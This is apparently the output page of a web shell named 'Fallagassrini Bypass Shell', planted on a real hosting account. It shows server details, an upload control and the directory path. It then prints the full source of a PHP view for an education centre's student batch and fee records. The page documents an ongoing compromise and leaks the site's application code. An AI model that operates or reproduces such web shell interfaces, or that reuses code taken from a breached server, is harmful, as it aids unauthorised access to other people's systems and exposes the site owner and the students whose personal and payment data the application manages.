? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/public_html/savoyglobal.net/sec_old/application/views/student/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/public_html/savoyglobal.net/sec_old/application/views/student/edit_student_batch.php

<?php
if (!defined('BASEPATH'))
    exit('No direct script access allowed');
$this->load->view('documentreadyfunctions');
$student = $this->mastermodel->getdatas('student', 'student_id', '', 'student_id');
$stud = array(0);
$index = 0;
?>
<script type="text/javascript">
    function getSessionAmount(session,divid){
        var res = session.split("~");
        $('#'+divid).val(res[1]);
    }
    
    function checkallstd(status,tag)        
    { 
        $('#'+tag+ ' input').each(function(index,obj){
            if(obj.type === 'checkbox')
            {
                obj.checked = !status;
            }
        });
    }

</script>
<?php
$attributes = array('id' => 'validateform', 'class' => 'validate');
echo form_open('student/addinstudent/update_student_batch/view_student_batch/1', $attributes);
?>
<div class="icons_main">
    <div  class="icons">
        <img src="<?= base_url() ?>assets/images/back.png" title="Back" class="clickimage" onclick="viewdata('student','viewinstudentsearch','search_student_batch','view_student_batch','<?= $_SESSION['pagenum']; ?>')" alt="Back" align = "center" width="32" height="32"  />
    </div>
    <div class="icons_caption">
        <h4>Edit Student Batch Allocation</h4>
    </div>
</div>

<div class="grid_12">
    <div class="box">
        <div class="header main no-icon">Batch Details</div>
        <div class="content  no-padding">
            <table  class="table" > 
                <tr>
                    <th>Batch Code</th>
                    <th>Course Name</th>
                    <th>Teacher</th>
                    <th>Change Date of Allotment</th>

                </tr>
                <tr>
                    <td><?= $viewinfo->batch_no; ?></td>
                    <td> <?= $viewinfo->course_code; ?></td>
                    <td>
                        <?php
                            $teacher=$this->mastermodel->get_teacher_batch($viewinfo->batch_id,date("d-m-Y")); 
                            if(!empty($teacher))
                            echo $teacher->employee_name;
                        ?>
                    </td>
                    <td><input class="w_90 calfocus" type="text" name="date" id="date" style="width:inherit;"/></td>
                </tr>
            </table>
            <input type="hidden" name="batch_id"  id="batch_id" value="<?= $viewinfo->batch_id; ?>"/>
            <input type="hidden" name="course_id" id="course_id" value="<?= $viewinfo->course_id ?>"/>
        </div>
    </div>


    <div class="box">
        <div class="header main">Student In <?= $viewinfo->batch_no; ?></div>
        <div class="content  no-padding" >
            <table class="table" cellpadding="0" cellspacing="0" id="tbl1">              
                <tr>
                    <th width="10%"> 
                        <input style="width:15px;" type="checkbox" id="list_check_all" name="list_check_all" checked onclick="checkallstd(this.checked,'list_student_added')"/>Mark
                    </th>
                    <th width="30">Student Name</th>
                    <th width="10%">Student No.</th>
                    <th width="10%">Gender</th>
                    <th width="10%">Nationality</th>
                    <th width="10%">Status</th>
                    <th width="10%">Registration Fee</th>
                    <th width="10%">Course Fee</th>
                    <th width="10%">Books Fee</th>
                    <th width="15%">Sessions</th>
                    <th width="15%">Monthly Payment</th>
                </tr>                                    
                <tbody id="list_student_added">
                    <?php
                    $html = '';
                     $html1 = '';
                    if (count($batch_students)) {
                        foreach ($batch_students as $value) {
                            $stud[] = $value['student_id'];
                            $index++;

                            if (in_array($value['student_id'], $cancelled_student)) {
                                $status = 'Cancelled';

                                $html.='<tr class="cancelled_tr">
                                <td>
                                    <input name="select_student' . $index . '"   id="select_student' . $index . '"  checked style="width:15px;" type="checkbox"  />                          
                                    <input name="student_batch_id' . $index . '" id="student_batch_id' . $index . '" value="' . $value['student_batch_id'] . '" type="hidden"/>
                                </td>
                                <td>
                                    ' . $value['first_name'] . $value['last_name'] . '
                                    <input name="student_id' . $index . '" id="student_id' . $index . '" type="hidden" value="' . $value['student_id'] . '"/>
                                </td>
                                <td>
                                    ' . $value['reg_no'] . '
                                </td>
                                <td>
                                    ' . $value['gender'] . '
                                </td>
                                <td>
                                    ' . $value['nationality'] . '
                                </td>
                                <td>
                                  ' . $status . '
                                </td>
                                <td>
                                    <input name="register_fee' . $index . '" id="register_fee' . $index . '" type="text" style="width: 115px;float: right;" class=" auto text_r" value="' . $value['registration_fee'] . '" />
                                </td>
                                <td>
                                    <input name="course_fee' . $index . '" id="course_fee' . $index . '" type="text" style="width: 115px;float: right;" class="required auto text_r" value="' . $value['course_fee'] . '" />
                                </td>
                                <td>
                                    <input name="books_fee' . $index . '" id="course_fee' . $index . '" type="text" style="width: 115px;float: right;" class="required auto text_r" value="' . $value['books_fee'] . '" />
                                </td>
                                <td>
                                    <div style="height:10px"></div>

                                    <select name="session'. $index .'" style="width: 125;" id="session'. $index .'" onchange="getSessionAmount(this.value,session_amount'. $index .')" class="chzn-done">

                                        <option value="">Select</option>';
                                       
                                        if (isset($sections)) {
                                            foreach ($sections as $list) {
                                                echo '<option value="' . $list['no_sessions_id'] . '~' . $list['monthly_fee'] . '"';
                                                if ($list['no_sessions_id'] == $value['no_sessions'])
                                                    echo "selected"; echo'>' . $list['no_sessions'] . '</option>';
                                            }
                                        }
                                        
                                    $html.='</select>
                                </td>
                                <td>
                                    <input  name="session_amount'.$index .'" id="session_amount'. $index .'" class="required auto text_r" type="text" value="'. $value['session_amount'] .'"/>
                                </td>
                                
                              
                            </tr>';
                            } elseif (in_array($value['student_id'], $deactivate_student))
                            {
                                $status = 'Deactivated';
                                 $html1.='<tr class="deactivated_tr">
                                <td>
                                    <input name="select_student' . $index . '"   id="select_student' . $index . '"  checked style="width:15px;" type="checkbox"  />                          
                                    <input name="student_batch_id' . $index . '" id="student_batch_id' . $index . '" value="' . $value['student_batch_id'] . '" type="hidden"/>
                                </td>
                                <td>
                                    ' . $value['first_name'] . $value['last_name'] . '
                                    <input name="student_id' . $index . '" id="student_id' . $index . '" type="hidden" value="' . $value['student_id'] . '"/>
                                </td>
                                <td>
                                    ' . $value['reg_no'] . '
                                </td>
                                <td>
                                    ' . $value['gender'] . '
                                </td>
                                <td>
                                    ' . $value['nationality'] . '
                                </td>
                                <td>
                                  ' . $status . '
                                </td>
                                <td>
                                    <input name="register_fee' . $index . '" id="register_fee' . $index . '" type="text" style="width: 115px;float: right;" class=" auto text_r" value="' . $value['registration_fee'] . '" />
                                </td>
                                <td>
                                    <input name="course_fee' . $index . '" id="course_fee' . $index . '" type="text" style="width: 115px;float: right;" class="required auto text_r" value="' . $value['course_fee'] . '" />
                                </td>
                                <td>
                                    <input name="books_fee' . $index . '" id="course_fee' . $index . '" type="text" style="width: 115px;float: right;" class="required auto text_r" value="' . $value['books_fee'] . '" />
                                </td>
                                <td>
                                    <div style="height:10px"></div>

                                    <select name="session'. $index .'" style="width: 125;" id="session'. $index .'" onchange="getSessionAmount(this.value,session_amount'. $index .')" class="chzn-done">

                                        <option value="">Select</option>';
                                       
                                        if (isset($sections)) {
                                            foreach ($sections as $list) {
                                                echo '<option value="' . $list['no_sessions_id'] . '~' . $list['monthly_fee'] . '"';
                                                if ($list['no_sessions_id'] == $value['no_sessions'])
                                                    echo "selected"; echo'>' . $list['no_sessions'] . '</option>';
                                            }
                                        }
                                        
                                    $html1.='</select>
                                </td>
                                <td>
                                    <input  name="session_amount'.$index .'" id="session_amount'. $index .'" class="required auto text_r" type="text" value="'. $value['session_amount'] .'"/>
                                </td>
                                
                              
                            </tr>';
                            }
                            else
                            {
                                $status = 'Active';
                            ?>
                    <tr >
                                <td>
                                    <input name="select_student<?= $index ?>"   id="select_student<?= $index ?>"  checked style="width:15px;" type="checkbox"  />                          
                                    <input name="student_batch_id<?= $index ?>" id="student_batch_id<?= $index ?>" value="<?= $value['student_batch_id'] ?>" type="hidden"/>
                                </td>
                                <td>
        <?= $value['first_name'] . $value['last_name'] ?>
                                    <input name="student_id<?= $index ?>" id="student_id<?= $index ?>" type="hidden" value="<?= $value['student_id'] ?>"/>
                                </td>
                                <td>
        <?= $value['reg_no']; ?>
                                </td>
                                <td>
        <?= $value['gender']; ?>
                                </td>
                                <td>
        <?= $value['nationality']; ?>
                                </td>
                                <td>
        <?= $status; ?>
                                </td>

                                <td>
                                    <input name="register_fee<?= $index ?>" id="register_fee<?= $index ?>" type="text" style="width: 115px;float: right;" class=" auto text_r" value="<?= $value['registration_fee'] ?>" />
                                </td>
                                <td>
                                    <input name="course_fee<?= $index ?>" id="course_fee<?= $index ?>" type="text" style="width: 115px;float: right;" class="required auto text_r" value="<?= $value['course_fee'] ?>" />
                                </td>
                                <td>
                                    <input name="books_fee<?= $index ?>" id="course_fee<?= $index ?>" type="text" style="width: 115px;float: right;" class="required auto text_r" value="<?= $value['books_fee'] ?>" />
                                </td>
                                <td>
                                    <div style="height:10px"></div>

                                    <select name="session<?= $index ?>" style="width: 125;" id="session<?= $index ?>" onchange="getSessionAmount(this.value,'session_amount<?= $index ?>')" class="chzn-done">

                                        <option value="">Select</option>
        <?php
        if (isset($sections)) {
            foreach ($sections as $list) {
                echo '<option value="' . $list['no_sessions_id'] . '~' . $list['monthly_fee'] . '"';
                if ($list['no_sessions_id'] == $value['no_sessions'])
                    echo "selected"; echo'>' . $list['no_sessions'] . '</option>';
            }
        }
        ?>
                                    </select>
                                </td>
                                <td>
                                    <input  name="session_amount<?= $index ?>" id="session_amount<?= $index ?>" class="required auto text_r" type="text" value="<?= $value['session_amount'] ?>"/>
                                </td>
                            </tr>
        <?php
    }
                        }
                        echo $html1;echo $html;
}
else {
    ?>
                    <td colspan="6">
                        No student is in this batch
                    </td>

    <?php
}
?>
                </tbody>
            </table>                                 
        </div>
    </div>

    <input type="hidden" value="<?= implode(',', $stud) ?>" name="list_stud_id" id="list_stud_id" />
    <input id="index" name="index" value="<?= $index ?>" type="hidden"/>       

</div>
<div id="sl"></div>

<div class="grid_12 " id="stud" style="width: 100%;" style="display:none"> 
    <div class="box">
        <div class="actions"> 
            <div class="actions-left">
                <div >
                    <div id="empdiv"></div>
                </div>
            </div>           
            <div class="actions-right">
                <button type="submit"  class="clickimage"  onclick="addformdata('validateform')">Process</button>
            </div>
        </div>
    </div>
</div>
<?php echo form_close(); ?>

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net